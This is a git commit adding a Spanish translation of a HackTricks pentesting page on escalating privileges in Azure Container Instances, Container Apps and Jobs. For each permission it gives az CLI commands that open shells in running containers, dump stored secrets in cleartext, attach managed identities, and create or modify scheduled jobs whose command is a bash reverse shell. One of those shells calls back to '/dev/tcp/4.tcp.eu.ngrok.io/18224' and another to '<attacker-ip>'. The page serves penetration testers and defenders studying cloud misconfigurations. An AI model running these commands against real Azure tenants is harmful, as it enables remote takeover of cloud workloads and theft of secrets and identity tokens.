Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-02-25 22:37:40 +00:00
parent 7228ef2c34
commit edea2ed0c1

View File

@@ -0,0 +1,177 @@
# Az - Azure Container Instances, Apps & Jobs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances, Apps & Jobs
Para más información, consulta:
{{#ref}}
../az-services/az-container-instances-apps-jobs.md
{{#endref}}
## ACI
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
Estos permisos permiten al usuario **ejecutar un comando** en un contenedor en ejecución. Esto se puede utilizar para **escalar privilegios** en el contenedor si tiene alguna identidad administrada adjunta. Por supuesto, también es posible acceder al código fuente y a cualquier otra información sensible almacenada dentro del contenedor.
Obtener un shell es tan simple como:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
```
También es posible **leer la salida** del contenedor con:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
O obtener los registros con:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Estos permisos permiten **adjuntar una identidad administrada por el usuario** a un grupo de contenedores. Esto es muy útil para escalar privilegios en el contenedor.
Para adjuntar una identidad administrada por el usuario a un grupo de contenedores:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Estos permisos permiten **crear o actualizar un grupo de contenedores** con una **identidad administrada por el usuario** adjunta a él. Esto es muy útil para escalar privilegios en el contenedor.
```bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
Además, también es posible actualizar un grupo de contenedores existente añadiendo, por ejemplo, el argumento **`--command-line`** con un shell inverso.
## ACA
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
Estos permisos permiten al usuario **obtener un shell** en un contenedor de aplicación en ejecución. Esto se puede utilizar para **escalar privilegios** en el contenedor si tiene alguna identidad administrada adjunta. Por supuesto, también es posible acceder al código fuente y a cualquier otra información sensible almacenada dentro del contenedor.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
```
### `Microsoft.App/containerApps/listSecrets/action`
Este permiso permite obtener el **texto claro de los secretos** configurados dentro de una aplicación de contenedor. Tenga en cuenta que los secretos se pueden configurar con el texto claro o con un enlace a un key vault (en tal caso, la aplicación tendrá asignada una identidad administrada con acceso a los secretos).
```bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Estos permisos permiten **adjuntar una identidad administrada por el usuario** a una aplicación de contenedor. Esto es muy útil para escalar privilegios en el contenedor. Ejecutar esta acción desde el az cli también requiere el permiso `Microsoft.App/containerApps/listSecrets/action`.
Para adjuntar una identidad administrada por el usuario a un grupo de contenedores:
```bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
Estos permisos permiten **crear o actualizar un contenedor de aplicación** con una **identidad administrada por el usuario** adjunta a él. Esto es muy útil para escalar privilegios en el contenedor.
```bash
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
```
> [!TIP]
> Tenga en cuenta que con estos permisos **se pueden modificar otras configuraciones de la aplicación**, lo que podría permitir realizar otros ataques de privesc y post explotación dependiendo de la configuración de las aplicaciones existentes.
## Jobs
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
Aunque los trabajos no son de larga duración como las aplicaciones de contenedor, puede aprovechar la capacidad de anular la configuración del comando del trabajo al iniciar una ejecución. Al crear una plantilla de trabajo personalizada (por ejemplo, reemplazando el comando predeterminado con un shell inverso), puede obtener acceso a la shell dentro del contenedor que ejecuta el trabajo.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the containers command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
Si tienes estos permisos, puedes listar todos los secretos (primer permiso) dentro de un contenedor de Job y luego leer los valores de los secretos configurados.
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
Si tienes permiso para modificar la configuración de un trabajo, puedes adjuntar una identidad administrada asignada por el usuario. Esta identidad puede tener privilegios adicionales (por ejemplo, acceso a otros recursos o secretos) que pueden ser abusados para escalar privilegios dentro del contenedor.
```bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Si puedes crear un nuevo trabajo de Container Apps (o actualizar uno existente) y adjuntar una identidad administrada, puedes diseñar el trabajo para ejecutar una carga útil que escale privilegios. Por ejemplo, podrías crear un nuevo trabajo que no solo ejecute un shell inverso, sino que también utilice las credenciales de la identidad administrada para solicitar tokens o acceder a otros recursos.
```bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
```
> [!TIP]
> Este comando generará un error si no tienes el permiso `Microsoft.App/jobs/read`, aunque el trabajo será creado.
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
Parece que con estos permisos debería ser posible iniciar un trabajo. Esto podría usarse para iniciar un trabajo con un shell inverso o cualquier otro comando malicioso sin necesidad de modificar la configuración del trabajo.
No he logrado hacerlo funcionar, pero según los parámetros permitidos, debería ser posible.
{{#include ../../../banners/hacktricks-training.md}}